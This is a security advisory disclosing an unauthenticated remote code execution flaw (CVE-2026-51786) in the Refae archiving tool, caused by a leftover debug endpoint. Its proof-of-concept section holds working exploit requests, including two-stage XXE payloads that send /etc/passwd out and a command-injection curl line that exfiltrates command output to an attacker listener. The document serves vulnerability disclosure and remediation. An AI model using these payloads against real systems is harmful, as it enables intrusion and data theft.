Unauthenticated Remote Code Execution in Refae - CVE-2026-51786
An unauthenticated remote code execution vulnerability was identified in Refae <= 2.0.2.
Refae is an open-source digital archiving reference tool (référentiel d’archivage) developed by Libriciel, a French company that has been publishing free-software solutions for public administrations and local authorities since 2006. The project was initiated and funded by Brest Métropole.
The application digitises a records-management process aimed at archivists. It consolidates, in a single table, the management metadata and the retention lifecycle of the documents produced or received by a department. It is typically deployed alongside other Libriciel products such as asalae, versae or pastell.
Refae is distributed under the GNU AGPL v3 and the vendor’s prerequisites document recommends deploying it on Docker CE on top of RHEL 8 or Ubuntu 22.04, with each service running in its own container.
No figure is published for Refae’s adoption specifically. Libriciel states that it works with more than 1,000 local authorities and public bodies across its product range, which gives an upper bound on the potential installation base rather than a count of live instances.
Summary
An unauthenticated remote code execution vulnerability was identified in Refae <= 2.0.2.
A debug endpoint left in the production routing table, /public/test-error/throw, takes a fully attacker-controlled class name and constructor arguments and passes them to a new expression. This gives any remote, unauthenticated user an arbitrary object instantiation primitive (CWE-470), which can be turned into command execution by selecting a class whose constructor reaches a system call.
In a default Symfony-based deployment, the class Symfony\Component\Intl\Data\Bundle\Compiler\GenrbCompiler is shipped by the symfony/intl dependency, and its constructor concatenates its first argument into a shell command without sanitisation.
The same primitive yields more than code execution: depending on the class selected, it also gives server-side request forgery and arbitrary file read via XML external entities.
Exploitation requires a single GET request, no authentication and no user interaction.
The vulnerability was fixed in version 2.0.3. The 1.x branch is not affected.
Root Cause
The flaw lies in src/Controller/Public/TestErrorController.php, in the throwException method (lines 40-47):
#[Route('/public/test-error/throw', name: 'public_test_error_throw')]
public function throwException(
Request $request,
): void {
$classname = $request->get('classname');
$params = $request->get('params', []);
throw new $classname(...$params);
}The controller reads two request parameters, classname and params, and uses them directly as the class name and the argument list of a new expression.
The endpoint appears to be a debugging artifact. The route name, the controller namespace and the absence of any return value all point to a helper meant to let developers trigger arbitrary exception types and observe how the application’s error handling and monitoring react to them. Whatever its original purpose, it was never removed from the production route table.
Assuming the host serving the Refae web front-end is fenrisk.lab, the endpoint maps request parameters onto a constructor call as follows:
http://fenrisk.lab/public/test-error/throw?classname=CLASSNAME¶ms[0]=x¶ms[...]=...¶ms[n]=zwhich is equivalent to:
new CLASSNAME(x, ..., z);This is an arbitrary object instantiation primitive: an unconstrained new whose class name and arguments both come from the query string. By itself it does nothing. The impact depends on the class we pick, and a usable one has to satisfy three conditions:
- Reachable by the autoloader, with no application context to set up. That leaves PHP’s own classes, built into the engine and its extensions, and every non-native class the running application can load by name.
- Scalar arguments only: request parameters are strings and arrays, so no object can be passed to the constructor.
- A side effect worth something to an attacker: a network request, a file access or a system call.
What we are looking for is therefore not a class in itself but a constructor whose side effects are useful to an attacker: command execution, a file read, an outbound request. The sections below are that search.
Details
Refae is a Symfony application, so the search space is wide: PHP’s built-in classes on one side, every non-native class the application can load by name on the other. We began with the built-in ones, because a class that ships with the language satisfies the first condition everywhere, whatever the application has installed. Our experiments therefore started with SimpleXMLElement, and it alone gave us two of the three impacts below.
SSRF
SimpleXMLElement’s constructor is declared as:
public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)The first argument is normally the XML to parse. The third one, dataIsURL, changes what the first means: set it to true and $data is no longer treated as an XML string but as a URL that PHP fetches before it parses anything. That fetch is the whole point. It happens before parsing, so it fires whether or not the response is valid XML.
Mapping this onto the endpoint, we pass the class name, the URL as the first parameter, 0 for the options, and 1 for dataIsURL:
http://fenrisk.lab/public/test-error/throw?classname=SimpleXMLElement¶ms[0]=http://<IP>¶ms[1]=0¶ms[2]=1which is equivalent to:
new SimpleXMLElement('http://<IP>', 0, true);XXE
The same class gives considerably more for almost nothing extra. We keep classname as SimpleXMLElement, change the options from 0 to LIBXML_NOENT (value 2, which tells libxml to substitute entities during parsing), and point the URL at an XML document we control. Everything else about the call is the structure used for the SSRF. The parser misconfiguration here comes from the attacker: an XXE normally depends on an application having set up its parser carelessly, whereas here we hand libxml exactly the flag we need.
http://fenrisk.lab/public/test-error/throw?classname=SimpleXMLElement¶ms[0]=http://<IP>/stage1.xml¶ms[1]=2¶ms[2]=1which is equivalent to:
new SimpleXMLElement('http://<IP>/stage1.xml', 2, true);dataIsURL is still true, so the server fetches stage1.xml from a host we control and parses it with entity substitution on. From there it is a classic out-of-band exfiltration chain:
stage1.xml
<?xml version="1.0"?> <!DOCTYPE FOO [<!ENTITY % BAR SYSTEM "http://<IP>/stage2.xml"> %BAR; %exfile; %out;]>stage2.xml
<!ENTITY % read SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % exfile "<!ENTITY % out SYSTEM 'http://<IP>/%read;'>">The internal subset of stage1.xml pulls in a second-stage DTD from our server as the parameter entity %BAR. That second stage does the work: %read reads /etc/passwd through a php://filter chain that deflates and base64-encodes it into a single URL-safe token, and %exfile builds the %out entity that ships that token back to us as a path on <IP>.
The chain relies on two details. The php://filter wrapper is what turns a multi-line file full of characters that would break a URL into one clean token we can drop into the %out request. And the second stage has to be external because XML forbids expanding a parameter entity inside a markup declaration of the same internal subset; hosting the declaration of %out in a DTD we serve ourselves sidesteps that restriction.
RCE
Requests and reads are as far as SimpleXMLElement goes. For command execution we keep the first two conditions and tighten the third: the constructor now has to reach a system call. PHP’s own classes do not offer that, so we turned to the ones the application loads itself.
Symfony\Component\Intl\Data\Bundle\Compiler\GenrbCompiler fits. It comes from symfony/intl, a transitive dependency present in a default install, and its constructor is (symfony/intl source):
public function __construct(string $genrb = 'genrb', string $envVars = '')
{
exec('which '.$genrb, $output, $status);
if (0 !== $status) {
throw new RuntimeException(sprintf('The command "%s" is not installed.', $genrb));
}
$this->genrb = ($envVars ? $envVars.' ' : '').$genrb;
}It checks that the genrb binary is available by concatenating the supplied path into a which invocation and passing the result to exec(). The value is never escaped, so a first argument beginning with ; closes the which command and starts a new one:
new GenrbCompiler(';id'); // executes: which ;id
The injection is reached in the constructor itself. The second argument, $envVars, is concatenated into $this->genrb with the same lack of escaping and would offer a further injection point, but it is unnecessary here since the first argument already yields execution. The constructor is unchanged across every symfony/intl release the constraint allows (^6.4 || ^7.0 || ^8.0) , and we verified it on 6.4, 7.x and 8.0, so the only thing left to establish per instance is the exact version resolved in Refae’s composer.lock.
One Endpoint, Every Primitive
Three kinds of vulnerability that are normally found and reported separately (server-side request forgery, arbitrary file read, remote command execution) are reachable here through one primitive and one unauthenticated GET request, by changing nothing but the value of classname.
Class instantiation exposes the whole execution context: every constructor the autoloader can reach becomes a potential gadget, and SSRF, file read and RCE are just the ones we picked. SimpleXMLElement and GenrbCompiler are simply what our three conditions returned first, and we stopped searching once one of them gave command execution. The choice of gadget is an exploitation detail. The fix is not to harden any single class but to remove the endpoint that reaches them freely.
PoC
Prerequisites
- An instance of Refae in a 2.x version up to and including 2.0.2
Exploitation
All three primitives go through the same /public/test-error/throw endpoint; only classname and params change. In each case the response from fenrisk.lab is a generic application error (the throw always fires) and the output is never reflected, so the proof is the out-of-band callback recorded by the attacker’s collection server (here python -m http.server 8000 on 10.10.10.10, with the Refae host calling back as 11.11.11.11). Each example below gives the request, an equivalent curl, and the resulting listener log.

This image show the response of refae’s website when sending requests to the
/public/test-error/throwendpoint
SSRF
Instantiating SimpleXMLElement with dataIsURL set to true fetches the URL before any parsing, so a single outbound request is enough to prove the primitive.
Request:
http://fenrisk.lab/public/test-error/throw?classname=SimpleXMLElement¶ms[0]=http://10.10.10.10:8000¶ms[1]=0¶ms[2]=1curl -G 'http://fenrisk.lab/public/test-error/throw' \
--data-urlencode 'classname=SimpleXMLElement' \
--data-urlencode 'params[0]=http://10.10.10.10:8000' \
--data-urlencode 'params[1]=0' \
--data-urlencode 'params[2]=1'Collection-server log:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
11.11.11.11 - - [05/Oct/2026 11:30:53] "GET / HTTP/1.1" 200 -XXE
The same class with options set to LIBXML_NOENT (2) and the URL pointing at an attacker-hosted document triggers the two-stage out-of-band DTD chain that exfiltrates /etc/passwd.
Request:
http://fenrisk.lab/public/test-error/throw?classname=SimpleXMLElement¶ms[0]=http://10.10.10.10:8000/stage1.xml¶ms[1]=2¶ms[2]=1curl -G 'http://fenrisk.lab/public/test-error/throw' \
--data-urlencode 'classname=SimpleXMLElement' \
--data-urlencode 'params[0]=http://10.10.10.10:8000/stage1.xml' \
--data-urlencode 'params[1]=2' \
--data-urlencode 'params[2]=1'Hosted on the collection server:
stage1.xml
<?xml version="1.0"?> <!DOCTYPE FOO [<!ENTITY % BAR SYSTEM "http://10.10.10.10:8000/stage2.xml"> %BAR; %exfile; %out;]>stage2.xml
<!ENTITY % read SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % exfile "<!ENTITY % out SYSTEM 'http://10.10.10.10:8000/%read;'>">Collection-server log:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
11.11.11.11 - - [05/Oct/2026 11:35:02] "GET /stage1.xml HTTP/1.1" 200 -
11.11.11.11 - - [05/Oct/2026 11:35:02] "GET /stage2.xml HTTP/1.1" 200 -
11.11.11.11 - - [05/Oct/2026 11:35:02] "GET /<PASSWD_BASE64> HTTP/1.1" 404 -In order to recover the <PASSWD_BASE64> token from the exfil request you will need to decode it. The php://filter chain deflates before base64, so the raw stream has to be inflated after decoding:
echo '<PASSWD_BASE64>' | base64 -d | python -c 'import sys,zlib; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read(), -15))'RCE
GenrbCompiler’s constructor runs exec('which '.$genrb), so a first argument starting with ; appends a second command. Here it exfiltrates the output of id out of band.
Request:
http://fenrisk.lab/public/test-error/throw?classname=Symfony%5CComponent%5CIntl%5CData%5CBundle%5CCompiler%5CGenrbCompiler¶ms%5B0%5D=%3Bcurl%20-s%20%22http://10.10.10.10:8000/rce/%24(id%20%7C%20base64%20-w0)%22curl -G 'http://fenrisk.lab/public/test-error/throw' \
--data-urlencode 'classname=Symfony\Component\Intl\Data\Bundle\Compiler\GenrbCompiler' \
--data-urlencode 'params[0]=;curl -s "http://10.10.10.10:8000/rce/$(id | base64 -w0)"'Collection-server log:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
11.11.11.11 - - [05/Oct/2026 11:52:47] "GET /rce/<ID_BASE64> HTTP/1.1" 404 -Then decode the <ID_BASE64> token to read the command output:
echo '<ID_BASE64>' | base64 -dImpact
An unauthenticated remote attacker can execute arbitrary commands on the machine hosting the Refae web component, with the privileges of the PHP process.
The same endpoint yields lesser impacts through other classes: server-side request forgery (SSRF) lets the attacker reach services on the internal network that are not exposed publicly; and arbitrary file read exposes any file accessible to the PHP process. /etc/passwd is only the easiest thing to prove it with; configuration files and secrets are the real target. Both are subsumed by the command execution above and do not raise the overall severity.
In the vendor’s recommended architecture, the process runs inside a container dedicated to the web service. The immediate compromise is therefore the container: application source, configuration files, environment variables, and any credentials they contain, which typically include the database connection string and the secrets used to reach the other components of the Libriciel suite.
CVSS score
CVSS 3.1 Base Score: 9.8 (Critical) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Scope is rated Unchanged: code execution is obtained within the security authority the web process already belonged to. Reaching the database container, the other suite components, or the host itself requires further exploitation.
Remediation
None of these impacts can be addressed at the level of a single gadget. Removing GenrbCompiler or restricting SimpleXMLElement would only close the specific paths described here; the endpoint would still hand an unauthenticated caller an unconstrained new, and any other reachable constructor would remain a candidate. The vulnerability is the endpoint itself, and the fix has to deny access to it.
Upgrade Refae to version 2.0.3 or later, which removes the endpoint.
If upgrading is not immediately possible, block access to /public/test-error/throw at the reverse proxy or WAF level. The endpoint has no functional purpose in production and can be denied outright without affecting the application.
Disclosure Timeline
- 2026-06-02 — Vulnerability reported to Libriciel.
- 2026-06-05 — CVE request submitted.
- 2026-06-05 — Release of Refae 2.0.3 fixing the issue.
- 2026-07-08 — CVE-2026-51786 assigned by MITRE.
- 2026-11-27 — Public disclosure.
Acknowledgment
Thanks to Libriciel for the seriousness they brought to tracking the vulnerability and for their responsiveness.
References
- Libriciel — official website: https://www.libriciel.fr
- Libriciel — Refae deployment prerequisites: https://www.libriciel.fr/wp-content/uploads/2024/06/RE-DOC-pre_requis.pdf
- Refae — source repository https://gitlab.adullact.net/Libriciel/archivage/refae
- CWE-470 — Use of Externally-Controlled Input to Select Classes or Code: https://cwe.mitre.org/data/definitions/470.html
- PHP,
SimpleXMLElement::__construct(constructor signature anddataIsURL) — https://www.php.net/manual/en/simplexmlelement.construct.php - PHP, libxml predefined constants (
LIBXML_NOENT, entity substitution and its XXE warning) — https://www.php.net/manual/en/libxml.constants.php - Symfony — Intl component: https://symfony.com/doc/current/components/intl.html
- CVE-2026-51786: https://www.cve.org/CVERecord?id=CVE-2026-51786
Keep reading
Remote code execution in SPIP (SQLite) - CVE-2026-66738
An authenticated editor, and in some configurations an anonymous visitor, can run arbitrary OS commands on SPIP installations backed by SQLite.
Remote code execution in CentOS Web Panel - CVE-2025-70951
As part of our ongoing research into web hosting control panels, we recently published an analysis of Control Web Panel (CWP), a widely used open-source administration panel designed to manage web servers running…
Remote code execution in aaPanel - CVE-2025-48702
aaPanel is a free and open-source web hosting control panel designed to simplify server management for Linux-based systems. It provides a graphical interface to manage web servers, websites,…
